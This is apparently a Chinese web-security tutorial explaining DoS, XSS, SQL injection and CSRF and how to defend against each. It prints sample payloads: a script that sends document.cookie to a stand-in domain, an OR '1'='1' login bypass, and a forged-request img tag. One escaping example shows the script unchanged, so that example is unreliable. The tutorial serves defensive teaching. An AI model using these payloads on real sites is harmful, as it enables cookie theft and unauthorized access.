1、DOS 拒绝服务攻击
DdoS的攻击方式有很多种，最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应。
Ddos攻击利用的就是合理的服务请求，所以但凡网站都存在这一风险。既然不可避免，就加强防御吧。
2、跨站脚本攻击（CSS OR XSS） cross site script
XSS是一种存在Web应用中，攻击者向Web中插入恶意可执行网页脚本代码，当用户浏览器该页时，嵌入在web里面的脚本代码就会被执行，从而愚弄其他用户或获取其他用户重要数据和隐私信息。XSS可使用的技术有JavaScript、VBScript、 ActiveX、 或 Flash， 且通常通过页面表单提交注入到web应用中并最终在用户的浏览器客户端执行。例如，一个没有经过安全设计并实现的论坛，当你在跟贴时在正文输入这样的代码：
<script>window.location.href='MyDomain.com?cookie=' + document.cookie</script>;
这段代码是获取当前页面的cookie值，并将cookie值传递到另一个名为MyDomain.com的网站中，利用这种模式黑客可以获取用户信息或将用户跳转到钓鱼网站来达到自己的目的。
XSS地攻击方式分为以下几种类型：
（1）非持久型XSS（反射型XSS）
一般是通过给别人发送带有恶意脚本代码参数的URL，XSS代码作为参数提交到服务器，服务器解析并响应。响应结果中包含XSS代码，最终浏览器解析并执行。
特点：
- 即时性，不经过服务器存储，直接通过HTTP的post或get请求就能完成一次攻击，拿到用户的隐私数据。
- 攻击者需要诱骗用户点击
- 反馈率低，所以较难发现和响应修复。
非持久型XSS预防：
- web页面渲染的所有数据都必须来自服务端；
- 尽量不要从URL、document.form等这种DOM API中获取数据直接渲染；
- 尽量不要使用document.write()、innerHTML等可执行字符串的方法。
（2）持久型XSS（存储型XSS）
一般存在于FORM表单提交等交互功能，如发帖留言，提交文本信息等，持久性的来源不是url，而是后端从数据库中读取出来的数据，持久性不需要诱骗用户点击，黑客只需要在提交表单的地方完成注入即可。
流程如下：
攻击者把恶意的XSSA代码通过表单提交到数据库，当页面再次被其他正常用户请求时，服务器发送已经被植入XSS代码的数据给客户端，最后客户端执行XSS代码。
攻击成功需要满足以下几个条件：
- POST请求提交表单后没有做转义直接入库。
- 后端从数据库中取出的数据没有做转义直接输出给前端
- 前端拿到后端数据没有做转义直接渲染成DOM
持久型XSS预防：
- 后端在接收前端数据后，将所有字段统一做转义处理；
- 后端输出给前端的数据统一进行转义处理；
- 前端在渲染页面DOM时应该选择不相信任何后端数据，任何字段都要做转义处理
解决方案：
（1）将重要的cookie标记为HttpOnly，在设置cookie时接收这个参数，使得浏览器中的document对象看不到cookie，这样就不能通过document.cookie获取用户信息了。
（2）输入过滤。永远不要相信用户的输入，对用户的输入做一定的过滤，如输入的数据是否符合预期的格式。这个措施只是在web端做了限制，攻击者通过抓包工具如Fiddler还是可以绕过前端输入的限制，修改请求注入攻击脚本。因此后台服务器需要在接收到用户输入的数据后，对特殊危险字符进行过滤或转义处理，然后再存储到数据库中。
<script type='text/javascript'>alert('hello world')</script>转义为："<script type='text/javascript'>alert('hello world')</script>"
（3）对服务器输出的数据进行转义处理。服务器端输出到浏览器的数据，可以使用系统的安全函数进行编码或转义来防范XSS攻击。
3、SQL注入攻击(SQL injection)
是在输入的字符串之中注入SQL指令且程序中没有检查，那么这些注入的指令就会被数据库服务器误认为是正常的SQL指令而执行。
SQL注入攻击指的是通过构建特殊的输入作为参数传到Web应用程序，而这些输入大都是SQL语法中的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。
根据相关技术原理，SQL注入分为平台层注入和代码层注入，前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致的过滤，从而执行了非法的数据查询。
因此，SQL注入产生的原因通常表现在一下几方面：
- 不当的类型处理
- 不安全的数据库配置
- 不合理的查询集处理
- 不当的错误处理
- 转义字符处理不合适
例如：某网站的登录验证的SQL查询语句为：
strSQL="SELECT * FROM user WHERE(name="+username+")and(pw="+password+")";
恶意填入：
username="'1'OR '1'='1'"与password="'1'OR '1'='1'"
将导致原来的SQL语句变为：
strSQL="SELECT * FROM user WHERE(name='1'OR '1'='1')and(pw='1'OR '1'='1')";
上面查询语句任何情况下均为真，因此达到无账号密码亦可登陆网站。
解决方法：
（1）永远不要相信用户的输入，对用户的输入进行校验，可以通过正则表达式或限制长度，对单引号以及双“-”进行转换等。
（2）永远不要使用动态拼装SQL，可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
（3）永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接
（4）不要把机密信息明文存放，请加密或者hash掉密码和敏感的信息。
4、CSRF攻击
CSRF(Cross Site Request Forgery)跨站点请求伪造，CSRF攻击者在用户已经登陆目标网站之后，诱使用户访问一个攻击页面，然后利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击的目的。
攻击者盗用用户身份，以用户身份发送恶意请求。
举个例子：我们有个博客系统当用户登陆博客后，只需要请求这个URL，就能够把编号为"1"的博客给删除了。 blog.com/manage/dele… 这个url同时还存在CSRF漏洞，首先攻击者在自己域构造一个页面： www.a.com/csrf.html 其内容为： <img src="blog.com/manage/dele…"/> 使用了一个标签，其地址指向了删除博客文章的链接。 攻击者诱使目标用户，也就是博客主访问这个页面： 访问之后博客就会被删除。
CSRF攻击源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自某个用户的浏览器，但是却无法保证该请求是用户批准发送的。
完成一次CSRF攻击，用户需依次完成两个步骤：
（1）登录目标网站A，并在本地生成cookie
（2）在不登出目标网站A的情况下，访问危险网站B
既然同源策略使得Cookie不能跨域访问，那为什么会有CSRF攻击？？
浏览器会依据加载的域名附带上对应域名Cookie。
如果用户在A网站登录且生成了Cookie，然后访问B网站，B网站故意构造请求A网站的请求，如删除操作之类的，用script，img或iframe标签之类的加载A网站这个地址，浏览器会附带上A网站用户登录的Cookie信息，这样就构成了CSRF攻击。
跨域限制不是说不能发送请求，而是浏览器根据服务器的响应阻断了数据的返回，实际上请求对方已经收到了。
由于cookie中包含了用户的认证信息，当用户访问攻击者准备的攻击环境时，攻击者就可以对服务器发起csrf攻击。在这个攻击过程中，攻击者借助受害者的Cookie骗取服务器的信任，但是并不能拿到受害者的Cookie，也看不到Cookie的内容。而对于服务器返回的结果，由于浏览器同源策略的限制，攻击者也无法进行解析。因此，攻击者无法从返回结果中得到任何东西，他所能做的就是给服务发送请求，在服务器端直接改变数据的值，而非窃取服务器的数据。
解决方案：
（1）尽量使用POST，限制get
（2）浏览器cookie限制
（3）加验证码，强制需要用户进行交互才能操作，跟csrf在用户不知情的情况下进行攻击的方式相悖。
（4）使用令牌token （服务端验证）
CSRF攻击之所以能够成功，是因为攻击者可以伪造用户的请求，该请求中所有的用户验证消息都存在于cookie中，因此攻击者可以在不知道这些验证消息的情况下直接利用用户自己的cookie来通过安全验证。由此可知，抵御CSRF的关键在于：在请求中放入攻击者所不能伪造的信息，并且该信息不在Cookie中。所以开发者可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端建立一个拦截器来验证这个token，如果请求中没有token或者token不正确，则认为可能是CSRF攻击而拒绝该请求。
例：
1. 用户访问某个表单页面。
2. 服务端生成一个随机数Token，放在Session中，或者浏览器的Cookie中，将Token发给客户端。
3. 下次页面提交请求时，在页面表单附带上Token参数一起提交到服务器。
4. 用户提交请求后， 服务端验证表单中的Token是否与用户Session（或Cookies）中的Token一致，一致为合法请求，不是则非法请求。
这个Token的值必须是随机的，不可预测的。由于Token的存在，攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性，尽量把敏感操作由GET改为POST，以form或AJAX形式提交，避免Token泄露。
（5）验证Referer（请求的页面），攻击者的页面与用户的页面不是同一个（服务端验证）
根据HTTP协议，在HTTP请求头中有一个字段Referer，它记录了该HTTP请求的来源地址。通常情况下，访问一个安全受限页面的请求必须来自同一个网站。
比如某银行的转账是通过用户访问：http://bank.test/test?page=1-页面完成的，用户必须先登录bank.test页面，然后通过点击按钮触发点击事件。当用户提交请求时，该转账请求的Referer值是转页也所在的URL。
而如果攻击者要对银行网站实施CSRF攻击，他只能在自己的网站构造请求，当通过攻击者的网站发送请求到银行时，该请求的Referer是指向攻击者的网站。因此，要防御CSRF攻击，只需要验证Referer字段，如果是其他网站的话就可能是csrf攻击，则拒绝请求。